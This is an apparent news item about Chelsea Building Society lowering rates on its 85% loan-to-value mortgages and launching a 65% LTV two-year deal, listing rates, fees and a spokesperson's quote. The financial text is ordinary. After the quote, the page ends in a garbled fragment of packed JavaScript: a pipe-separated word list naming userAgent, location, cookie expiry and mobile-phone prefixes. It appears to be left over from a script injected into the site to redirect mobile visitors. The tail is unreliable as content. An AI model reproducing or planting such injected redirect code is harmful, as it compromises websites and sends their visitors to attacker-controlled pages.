Reduced rates on its 85% loan to value (LTV) mortgages from Chelsea Building Society

cbsChelsea Building Society has reduced rates on its 85% loan to value (LTV) mortgages taking them to the top of the best buy tables.

Chelsea offers rates at 85% LTV from as low as 3.24% after the Society made reductions of up to 0.25%.

For those with larger deposits or more equity in an existing property, it has also introduced a new 65% LTV, two-year mortgage at 1.84%. It carries a £745 product fee but offers £500 cashback for purchasers or free valuation and legal assistance for remortgage customers.

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The 85% LTV range includes:

3.24% two-year mortgage with £1,545 fee, available for purchase or remortgage
3.59% two-year mortgage with £745 fee and £500 cashback for purchase customers, or free valuation and legal assistance for remortgage customers
3.69% three-year mortgage with £1,545 fee, available for purchase or remortgage
3.94% three-year mortgage with £745 fee and £500 cashback for purchase customers, or free valuation and legal assistance for remortgage customers
3.84% five-year mortgage with £1,545 fee, available for purchase or remortgage
Offset equivalents are available for all of the mortgages, priced 0.20% higher than their non-offset equivalents.

Maximum loan sizes are £1m on 85% LTV products and £5m for the 65% LTV product and applications can be made in branch, online or over the telephone.

Brendan Gilligan, Chelsea Building Society Product Manager, said: “We strive to offer our members the most competitive mortgages possible and this range of 85% LTV products will again be among the best available.

“We look to support borrowers with smaller or larger deposits or sums of equity, and by reducing our rates at the 85% LTV level as well as offering an additional competitive 65% LTV mortgage we are achieving that.”}mb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))
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